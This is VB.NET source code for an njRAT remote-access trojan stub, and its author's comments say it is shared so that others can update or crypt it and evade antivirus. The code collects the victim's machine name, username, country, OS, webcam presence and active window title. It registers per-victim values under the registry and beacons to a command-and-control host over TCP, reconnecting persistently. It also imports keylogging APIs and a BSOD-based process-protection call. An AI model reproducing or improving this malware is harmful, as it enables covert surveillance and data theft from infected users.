#IL_Code 8920

Imports System.Collections.Generic
Imports System.Threading
Imports System.IO.Compression
Imports System.Diagnostics
Imports System.Runtime.InteropServices
Imports System.Drawing
Imports System.Windows.Forms
' njrat STUB v0.5.0
' by njq8
' i Give you This SRC TO Let you Update/Crypt stub.exe Not For Learning or Something
' some codes here writed in "WRONG Way" To Bypass Av (:
' if you want good way for crypting .. just add random Codes at EveryMethod And Randomize[Fields/Methods]
' Last Edit: 2012/11/11
Public Class A
    Public F As Object = New Microsoft.VisualBasic.Devices.Computer

#Region "Settings"
    ' dont change anything here only you can Change Version "0.5.0" if you want njrat Builder Work With No Problems
    Public VN As String = "%vn%" ' base64 encoded Victim Name
    Public VR As String = "0.5.0E" ' Version
    Public H As String = "127.0.0.1" ' Host
    Public P As String = "1199" ' PORT
    Public Y As String = "|'|'|" ' Dont Change This<<
#End Region
    Sub WL()

    End Sub
#Region "Functions"

    Function GTV(ByVal n As String) As String ' Get value in my Registry Key RG
        Try
            Return F.Registry.CurrentUser.CreateSubKey("Software\").GetValue(n, "")
        Catch ex As Exception
            Return ""
        End Try
    End Function
    Function STV(ByVal n As String, ByVal t As String) ' set value in my Registry Key RG
        Try
            F.Registry.CurrentUser.CreateSubKey("Software\").SetValue(n, t)
            Return True
        Catch ex As Exception
            Return False
        End Try
    End Function
    Function inf() As String
        Dim s As String = "lv" & Y
        ' Victim name
        Try
            If GTV("vn") = "" Then
                s += ENB(DEB(VN) & "_" & HWD()) & Y
            Else
                s += ENB(DEB(GTV("vn")) & "_" & HWD()) & Y
            End If
        Catch ex As Exception
            s &= ENB(HWD()) & Y
        End Try
        ' PC
        Try
            s += Environment.MachineName & Y
        Catch ex As Exception
            s += "??" & Y
        End Try
        ' username
        Try
            s += Environment.UserName & Y
        Catch ex As Exception
            s += "??" & Y
        End Try
        ' install date

        s += FR() & Y
        ' Country
        Try
            s += Gcc(&H7) & Y
        Catch ex As Exception
            s += "X" & Y
        End Try
        ' OS
        Try
            s += F.Info.OSFullName.Replace("Microsoft", "").Replace("Windows", "Win").Replace("®", "").Replace("™", "").Replace("  ", " ").Replace(" Win", "Win")
        Catch ex As Exception
            s += "??" '& Y
        End Try
        s += "SP"
        Try
            Dim k As String() = Split(Environment.OSVersion.ServicePack, " ")
            If k.Length = 1 Then
                s &= "0"
            End If
            s &= k(k.Length - 1)
        Catch ex As Exception
            s &= "0"
        End Try
        Try
            If Environment.GetFolderPath(38).Contains("x86") Then
                s += " x64" & Y
            Else
                s += " x86" & Y
            End If
        Catch ex As Exception
            s += Y
        End Try
        ' Cam
        If Cam() = True Then
            s += "Yes" & Y
        Else
            s += "No" & Y
        End If
        ' Version
        s += VR & Y
        ' ping
        s += ".." & Y
        ' active window
        s += ACT() & Y
        Dim x As String = ""
        Try ' plugin list..
            For Each xx As String In F.Registry.CurrentUser.CreateSubKey("Software\", False).GetValueNames
                If xx.Length = 32 Then
                    x &= xx & ","
                End If
            Next
        Catch ex As Exception
        End Try
        Return s & x
    End Function
    Public Function FR() As String ' install Date
        Try
            Return CType(LO, IO.FileInfo).LastWriteTime.ToString("yyyy-MM-dd")
        Catch ex As Exception
            Return "unknown"
        End Try
    End Function
    Public Function ENB(ByRef s As String) As String ' Encode base64
        Dim byt As Byte() = System.Text.Encoding.UTF8.GetBytes(s)
        ENB = Convert.ToBase64String(byt)
    End Function
    Public Function DEB(ByRef s As String) As String ' Decode Base64
        Dim b As Byte() = Convert.FromBase64String(s)
        DEB = System.Text.Encoding.UTF8.GetString(b)
    End Function

    Public Function SB(ByRef S As String) As Byte() ' String To Bytes
        Return System.Text.Encoding.Default.GetBytes(S)
    End Function
    Public Function BS(ByRef B As Byte()) As String ' Byets To String
        Return System.Text.Encoding.Default.GetString(B)
    End Function
    Public SPL As String = "[endof]"
    Function fx(ByVal b As Byte(), ByVal spl As String) As Array
        ' splites Bytes By Word
        Dim a As Object = New List(Of Byte())
        Dim M As Object = New IO.MemoryStream
        Dim MM As Object = New IO.MemoryStream
        Dim T As String() = Split(BS(b), spl)
        M.Write(b, 0, T(0).Length)
        MM.Write(b, T(0).Length + spl.Length, b.Length - (T(0).Length + spl.Length))
        a.Add(M.ToArray)
        a.Add(MM.ToArray)
        M.Dispose()
        MM.Dispose()
        Return a.ToArray
    End Function
    Public Function ZIP(ByVal B() As Byte, ByRef CM As Boolean) As Byte()
        ' compress Bytes With GZIP
        If CM = True Then
            Dim M As Object = New IO.MemoryStream()
            Dim gZip As Object = New IO.Compression.GZipStream(M, CompressionMode.Compress, True)
            gZip.Write(B, 0, B.Length)
            gZip.Dispose()
            M.Position = 0
            Dim BF(M.Length) As Byte
            M.Read(BF, 0, BF.Length)
            M.Dispose()
            Return BF
        Else
            Dim M As Object = New IO.MemoryStream(B)
            Dim gZip As Object = New GZipStream(M, CompressionMode.Decompress)
            Dim buffer(3) As Byte
            M.Position = M.Length - 5
            M.Read(buffer, 0, 4)
            Dim size As Integer = BitConverter.ToInt32(buffer, 0)
            M.Position = 0
            Dim BF(size - 1) As Byte
            gZip.Read(BF, 0, size)
            gZip.Dispose()
            M.Dispose()
            Return BF
        End If
    End Function
#End Region
#Region "API"
    <DllImport("psapi")> _
    Public Shared Function EmptyWorkingSet(ByVal hProcess As Long) As Boolean
    End Function
    '======== process protect With BSOD
    <DllImport("ntdll")> _
    Private Shared Function NtSetInformationProcess(ByVal hProcess As IntPtr, ByVal processInformationClass As Integer, ByRef processInformation As Integer, ByVal processInformationLength As Integer) As Integer
    End Function
    '=============================== Cam Drivers
    Declare Function capGetDriverDescriptionA Lib "avicap32.dll" (ByVal wDriver As Short, _
    ByVal lpszName As String, ByVal cbName As Integer, ByVal lpszVer As String, _
    ByVal cbVer As Integer) As Boolean
    Public Function Cam() As Boolean
        Try
            Dim d As String = Space(100)
            For i As Integer = 0 To 4
                If capGetDriverDescriptionA(i, d, 100, Nothing, 100) Then
                    Return True
                End If
            Next
        Catch ex As Exception
        End Try
        Return False
    End Function
    '=============================== PC Country
    <DllImport("kernel32.dll")> _
    Private Shared Function GetLocaleInfo(ByVal Locale As UInteger, ByVal LCType As UInteger, <Out()> ByVal lpLCData As System.Text.StringBuilder, ByVal cchData As Integer) As Integer
    End Function
    Public Function Gcc(ByVal i As UInteger) As String
        Try
            Dim lpLCData = New System.Text.StringBuilder(256)
            Dim ret As Integer = GetLocaleInfo(&H400, i, lpLCData, lpLCData.Capacity)
            If ret > 0 Then
                Return lpLCData.ToString().Substring(0, ret - 1)
            End If
        Catch ex As Exception
        End Try
        Return "X"
    End Function
    '====================================== Window API

    Public Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hWnd As IntPtr, ByVal WinTitle As String, ByVal MaxLength As Integer) As Integer
    Public Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Integer
    Public Function ACT() As String ' Get Active Window Text
        Try
            Dim h As IntPtr = GetForegroundWindow()
            If h = IntPtr.Zero Then
                Return ENB(" ")
                Exit Function
            End If
            Dim t As Integer
            t = GetWindowTextLength(h)
            Dim w As String = StrDup(t + 1, "*")
            GetWindowText(h, w, t + 1)
            Dim pid As Integer
            GetWindowThreadProcessId(h, pid)
            If pid = 0 Then
                Return ENB(w)
            Else
                Try
                    Return ENB(Diagnostics.Process.GetProcessById(pid).MainWindowTitle())
                Catch ex As Exception
                    Return ENB(w)
                End Try
            End If
        Catch ex As Exception
            Return ENB(" ")
        End Try
    End Function
    '=================== Get Drive Serial
    Private Declare Function GetVolumeInformation Lib "kernel32" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Integer, ByRef lpVolumeSerialNumber As Integer, ByRef lpMaximumComponentLength As Integer, ByRef lpFileSystemFlags As Integer, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Integer) As Integer
    Function HWD() As String
        Try
            Dim sn As Integer
            GetVolumeInformation(Environ("SystemDrive") & "\", Nothing, Nothing, sn, 0, 0, Nothing, Nothing)
            Return (Hex(sn))
        Catch ex As Exception
            Return "ERR"
        End Try
    End Function
#End Region


    Public LO As Object = New IO.FileInfo(Application.ExecutablePath)


    Public Cn As Boolean = False
    Public C As Object = Nothing

    Public Sub Send(ByVal b As Byte())
        If Cn = False Then Exit Sub
        Try
            Dim r As Object = New IO.MemoryStream
            r.Write(b, 0, b.Length)
            r.Write(SB(SPL), 0, SPL.Length)
            C.Client.Send(r.ToArray, 0, r.Length, Net.Sockets.SocketFlags.None)
            r.Dispose()
        Catch ex As Exception
            Cn = False
        End Try
    End Sub
    Public Sub Send(ByVal S As String)
        Send(SB(S))
    End Sub
    Sub RC()
        Dim M As Object = New IO.MemoryStream ' create memory stream
        Dim lp As Integer = 0
re:
        Try
            If C Is Nothing Then GoTo e
            If C.Client.Connected = False Then GoTo e
            If Cn = False Then GoTo e
            lp += 1

            If lp > 500 Then
                lp = 0
                ' check if i am still connected
                If C.Client.Poll(-1, Net.Sockets.SelectMode.SelectRead) And C.Client.Available <= 0 Then GoTo e
            End If
            If C.Available > 0 Then
                Dim B(C.Available - 1) As Byte
                C.Client.Receive(B, 0, B.Length, Net.Sockets.SocketFlags.None)
                M.Write(B, 0, B.Length)
rr:
                If BS(M.ToArray).Contains(SPL) Then ' split packet..
                    Dim A As Array = fx(M.ToArray, SPL)

                    M.Dispose()
                    M = New IO.MemoryStream
                    If A.Length = 2 Then
                        M.Write(A(1), 0, A(1).length)
                        GoTo rr
                    End If
                End If
            End If
        Catch ex As Exception
            GoTo e
        End Try
        GoTo re
e:
        Cn = False
        Try
            C.Client.Disconnect(False)
        Catch ex As Exception
        End Try
        Try
            M.Dispose()
        Catch ex As Exception
        End Try
        M = New IO.MemoryStream
        Try
            C = New Net.Sockets.TcpClient
            C.ReceiveTimeout = -1
            C.SendTimeout = -1
            C.SendBufferSize = 999999
            C.ReceiveBufferSize = 999999
            C.Client.SendBufferSize = 999999
            C.Client.ReceiveBufferSize = 999999
            lp = 0
            C.Client.Connect(H, P)
            Cn = True
            Send(inf)
            Try
                If GTV("us") = "!" Then
                    Send("us")
                End If
            Catch ex As Exception
                Cn = False
            End Try
        Catch ex As Exception
            GoTo e
        End Try
        GoTo re
    End Sub



#Region "API"
    <DllImport("user32.dll")> _
    Private Shared Function ToUnicodeEx(ByVal wVirtKey As UInteger, ByVal wScanCode As UInteger, ByVal lpKeyState As Byte(), <Out(), MarshalAs(UnmanagedType.LPWStr)> ByVal pwszBuff As System.Text.StringBuilder, ByVal cchBuff As Integer, ByVal wFlags As UInteger, _
  ByVal dwhkl As IntPtr) As Integer
    End Function
    <DllImport("user32.dll")> _
    Private Shared Function GetKeyboardState(ByVal lpKeyState As Byte()) As Boolean
    End Function
    <DllImport("user32.dll")> _
    Private Shared Function MapVirtualKey(ByVal uCode As UInteger, ByVal uMapType As UInteger) As UInteger
    End Function
    Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As IntPtr, ByRef lpdwProcessID As Integer) As Integer
    Private Declare Function GetKeyboardLayout Lib "user32" (ByVal dwLayout As Integer) As Integer
    Private Declare Function GetForegroundWindow Lib "user32" () As IntPtr
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
#End Region

    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        Timer1.Start()
    End Sub

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        RC()
    End Sub
End Class